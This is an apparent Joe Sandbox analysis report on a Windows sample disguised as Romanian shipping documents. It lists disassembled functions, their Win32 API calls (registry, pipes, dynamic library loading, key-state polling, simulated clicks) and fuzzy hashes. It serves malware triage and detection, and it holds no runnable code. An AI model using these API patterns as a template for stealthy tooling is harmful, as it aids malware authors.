                                                • Opcode Fuzzy Hash: 7edc151fba274c7ee3f75ab4a310f26fe1048e606bc2168d639effdad28a9759
                                                • Instruction Fuzzy Hash: BF218B7121030ABBEF204F64DCA9EBAB7ADEF9A364F240618F954921D0D735DC42A770
                                                Function 00D49568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00D49588
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D495B9
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00D495CB
                                                • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00D49605
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: 9e653e50d174d688fc7efb27451542e9e33feaee35ef258ed1e61211ea63040f
                                                • Instruction ID: 611281b6e1f20dc2f46651b27cc9fb0a0e76527cd79eba2dc8fb4fded70714a4
                                                • Opcode Fuzzy Hash: 9e653e50d174d688fc7efb27451542e9e33feaee35ef258ed1e61211ea63040f
                                                • Instruction Fuzzy Hash: 3D218C70600305ABEB219F2ADC15A9FBBB8EF85724F244A19F8A1D72D0D770D940CB30
                                                Function 00D49634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00D49653
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D49683
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00D49694
                                                • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00D496CE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: 22906808ba1d4816df740000e834cb63e3dd6971d2d526c65ddd7b89f91d9897
                                                • Instruction ID: 395470b2d5f98b4869ca676df8b860b71d852ebcaf73cc4bd6ad6d33a672732b
                                                • Opcode Fuzzy Hash: 22906808ba1d4816df740000e834cb63e3dd6971d2d526c65ddd7b89f91d9897
                                                • Instruction Fuzzy Hash: 7C2160715003059BDB209F6A9C54E9BB7A8AF95734F290A19F8A1D72D0D770DC41CB74
                                                Function 00D4DAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00D4DB0A
                                                • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00D4DB5E
                                                • __swprintf.LIBCMT ref: 00D4DB77
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000,00D9DC00), ref: 00D4DBB5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$InformationVolume__swprintf
                                                • String ID: %lu
                                                • API String ID: 3164766367-685833217
                                                • Opcode ID: ec56d08e87067fd96000dd0563d7b48a3eb0479839fd7e08b73cd62dc9a6e664
                                                • Instruction ID: 36f71d9357dc93ce193c40a5f4c2442e69fd0a75f18e5974df809f3a85e42d15
                                                • Opcode Fuzzy Hash: ec56d08e87067fd96000dd0563d7b48a3eb0479839fd7e08b73cd62dc9a6e664
                                                • Instruction Fuzzy Hash: DD218335600208AFCB10EFA4D985EAEBBB9EF89704B004069F509E7391DB70EA05CB71
                                                Function 00D3C9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3C82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00D3C84A
                                                  • Part of subcall function 00D3C82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D3C85D
                                                  • Part of subcall function 00D3C82D: GetCurrentThreadId.KERNEL32 ref: 00D3C864
                                                  • Part of subcall function 00D3C82D: AttachThreadInput.USER32(00000000), ref: 00D3C86B
                                                • GetFocus.USER32 ref: 00D3CA05
                                                  • Part of subcall function 00D3C876: GetParent.USER32(?), ref: 00D3C884
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00D3CA4E
                                                • EnumChildWindows.USER32(?,00D3CAC4), ref: 00D3CA76
                                                • __swprintf.LIBCMT ref: 00D3CA90
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
                                                • String ID: %s%d
                                                • API String ID: 3187004680-1110647743
                                                • Opcode ID: 010dd81522629401ddc9fa5b088ec778e809c68a653d8e14c68e68b0e53bf49c
                                                • Instruction ID: ce84f4e59c3a919882625e928474a13ad9cd97299d67f8065b4297dbf9744c0d
                                                • Opcode Fuzzy Hash: 010dd81522629401ddc9fa5b088ec778e809c68a653d8e14c68e68b0e53bf49c
                                                • Instruction Fuzzy Hash: 26118175610209BBCF11BFA09C86FEA3779EF44714F04906AFE09BA182DB709645DB70
                                                Function 00D61945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00D619F3
                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00D61A26
                                                • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00D61B49
                                                • CloseHandle.KERNEL32(?), ref: 00D61BBF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                • String ID:
                                                • API String ID: 2364364464-0
                                                • Opcode ID: 4b974e67a99676a3097a87f7a12cd719489c6a3c09b5fb899cdd41b27bec81c2
                                                • Instruction ID: 48990ce697d2a9eeae9c30757ef189e569b6e0ae5738f9095984f55b98da14d6
                                                • Opcode Fuzzy Hash: 4b974e67a99676a3097a87f7a12cd719489c6a3c09b5fb899cdd41b27bec81c2
                                                • Instruction Fuzzy Hash: C7816274600204ABDF109F64C896BADBBE6EF05720F188459F905AF3C2DBB5A9418FB0
                                                Function 00D41C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00D41CB4
                                                • VariantClear.OLEAUT32(00000013), ref: 00D41D26
                                                • VariantClear.OLEAUT32(00000000), ref: 00D41D81
                                                • VariantClear.OLEAUT32(?), ref: 00D41DF8
                                                • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00D41E26
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$Clear$ChangeInitType
                                                • String ID:
                                                • API String ID: 4136290138-0
                                                • Opcode ID: 87bf0f07962359a5115ea2d6c3bcfd33e6c8d67e8ff9a97240788e68d9953f9d
                                                • Instruction ID: c5f531b1a2dc0ddb86ab34f8fdf278e03cd65bb0e2c69b1b7290fb8654641b93
                                                • Opcode Fuzzy Hash: 87bf0f07962359a5115ea2d6c3bcfd33e6c8d67e8ff9a97240788e68d9953f9d
                                                • Instruction Fuzzy Hash: A95127B9A00209AFDB14CF58C884EAAB7B9FF4C314B158559ED59DB341E730EA51CFA0
                                                Function 00D60688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00D606EE
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00D6077D
                                                • GetProcAddress.KERNEL32(00000000,00000000), ref: 00D6079B
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00D607E1
                                                • FreeLibrary.KERNEL32(00000000,00000004), ref: 00D607FB
                                                  • Part of subcall function 00D1E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00D4A574,?,?,00000000,00000008), ref: 00D1E675
                                                  • Part of subcall function 00D1E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00D4A574,?,?,00000000,00000008), ref: 00D1E699
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                • String ID:
                                                • API String ID: 327935632-0
                                                • Opcode ID: b4190f98d7846e6646a5533350a9c7732432ede12612c5afca4dd353fb59ad62
                                                • Instruction ID: 17dd935657cbd0154f56460952a75507aed39f91a2cb70d8431793dc7f05600b
                                                • Opcode Fuzzy Hash: b4190f98d7846e6646a5533350a9c7732432ede12612c5afca4dd353fb59ad62
                                                • Instruction Fuzzy Hash: D751EC75A00205DFCB04EFA8C495EADBBB5FF59310B148055E959AB392DB30ED45CBA0
                                                Function 00D62E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D63C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D62BB5,?,?), ref: 00D63C1D
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D62EEF
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D62F2E
                                                • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00D62F75
                                                • RegCloseKey.ADVAPI32(?,?), ref: 00D62FA1
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00D62FAE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                • String ID:
                                                • API String ID: 3740051246-0
                                                • Opcode ID: 3aa4cb287706f52aa59052409fe5436031e636731c8600c89080b864ef5e8fce
                                                • Instruction ID: e32185f5e25c3e6021408a744e832b0566bd5159915e7de22edf1cdf4eb0d791
                                                • Opcode Fuzzy Hash: 3aa4cb287706f52aa59052409fe5436031e636731c8600c89080b864ef5e8fce
                                                • Instruction Fuzzy Hash: 72512671218204AFD704EB64C891F6AB7F9FF88314F04892DF59A972A1DB71E905CB72
                                                Function 00D6CCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: f8e417cb3e12651c8a911b892a697e2b71453a035b788c8ff682da91701a4251
                                                • Instruction ID: 13f1436892752a12fe49f3a89e8e21d86935320543614a4069c826026821984b
                                                • Opcode Fuzzy Hash: f8e417cb3e12651c8a911b892a697e2b71453a035b788c8ff682da91701a4251
                                                • Instruction Fuzzy Hash: E641C379A20219ABC720DF68CC44FB9BB79EB09310F181225F999E72D2C631AD11DB70
                                                Function 00D51206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00D512B4
                                                • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00D512DD
                                                • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00D5131C
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00D51341
                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00D51349
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                • String ID:
                                                • API String ID: 1389676194-0
                                                • Opcode ID: de030b18e27aff4fd9b658ec801b53412de52faeeefc5694268946cabdfc6d97
                                                • Instruction ID: f93bdf00ccf1aa23e9ecc1e6afe32ba1600c26bf849cb1c6f246338709918115
                                                • Opcode Fuzzy Hash: de030b18e27aff4fd9b658ec801b53412de52faeeefc5694268946cabdfc6d97
                                                • Instruction Fuzzy Hash: 56410935600205DFDF01EF64C991AAEBBF5EF48310B148099E94AAB3A2DB31ED41DB74
                                                Function 00D1B63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(000000FF), ref: 00D1B64F
                                                • ScreenToClient.USER32(00000000,000000FF), ref: 00D1B66C
                                                • GetAsyncKeyState.USER32(00000001), ref: 00D1B691
                                                • GetAsyncKeyState.USER32(00000002), ref: 00D1B69F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AsyncState$ClientCursorScreen
                                                • String ID:
                                                • API String ID: 4210589936-0
                                                • Opcode ID: c21e927f6da77d411b6b402bae8933418faf1d492396145687c88f1d9fd58dd8
                                                • Instruction ID: 41690e3b9cba88cef72d99e08ef50361747672d68022d4374f4745ffcc103cfa
                                                • Opcode Fuzzy Hash: c21e927f6da77d411b6b402bae8933418faf1d492396145687c88f1d9fd58dd8
                                                • Instruction Fuzzy Hash: 73418A30608209BFCF159F64C844AE9BBB5EF05320F20831AF869962D0DB31A990DFB1
                                                Function 00D3B358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 00D3B369
                                                • PostMessageW.USER32(?,00000201,00000001), ref: 00D3B413
                                                • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00D3B41B
                                                • PostMessageW.USER32(?,00000202,00000000), ref: 00D3B429
                                                • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00D3B431
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePostSleep$RectWindow
                                                • String ID:
                                                • API String ID: 3382505437-0
                                                • Opcode ID: 7aa2586f24a2887c4ea647226cc5acba7018ca3d27510a9c6a38152e2de7600e
                                                • Instruction ID: 1911f6201de95f79be9d703fac9bca245029adb3eeeb91c48c4d2b09dd8ed5f7
                                                • Opcode Fuzzy Hash: 7aa2586f24a2887c4ea647226cc5acba7018ca3d27510a9c6a38152e2de7600e
                                                • Instruction Fuzzy Hash: 3431A0B190032DEBDF04CF68D94DA9E7BB5EB04329F10422AF921E62D1C3B0D954CBA0
                                                Function 00D3DBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindowVisible.USER32(?), ref: 00D3DBD7
                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00D3DBF4
                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00D3DC2C
                                                • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00D3DC52
                                                • _wcsstr.LIBCMT ref: 00D3DC5C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                • String ID:
                                                • API String ID: 3902887630-0
                                                • Opcode ID: 00208aa80045526f55ae183127f58d282350477eb6b5aa8f34b2f84b69114306
                                                • Instruction ID: 202879154bb36f28fba91abb3a463b7f228756b98ae56e77cd18aa6df1132399
                                                • Opcode Fuzzy Hash: 00208aa80045526f55ae183127f58d282350477eb6b5aa8f34b2f84b69114306
                                                • Instruction Fuzzy Hash: AD21C571214208BBEB155B39FC49E7B7BAADF49750F148029F809CA191EAA1D841D7B0
                                                Function 00D6DE69 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D6DEB0
                                                • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00D6DED4
                                                • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00D6DEEC
                                                • GetSystemMetrics.USER32(00000004), ref: 00D6DF14
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,00D53A1E,00000000), ref: 00D6DF32
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long$MetricsSystem
                                                • String ID:
                                                • API String ID: 2294984445-0
                                                • Opcode ID: 1b546f05b74a7d484da16fce84c24234d1be5475c24b654797f66d77efc8673d
                                                • Instruction ID: b7f8e1266701846bf504b0d8431ea1f2947e3f9f84f4e9affc38f26e966f628c
                                                • Opcode Fuzzy Hash: 1b546f05b74a7d484da16fce84c24234d1be5475c24b654797f66d77efc8673d
                                                • Instruction Fuzzy Hash: 0C21B031B10366AFCB208F78AC44B6A3796EF15324F190724B966CA2E1D73098608BB0
                                                Function 00D3BC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D3BC90
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D3BCC2
                                                • __itow.LIBCMT ref: 00D3BCDA
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D3BD00
                                                • __itow.LIBCMT ref: 00D3BD11
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$__itow
                                                • String ID:
                                                • API String ID: 3379773720-0
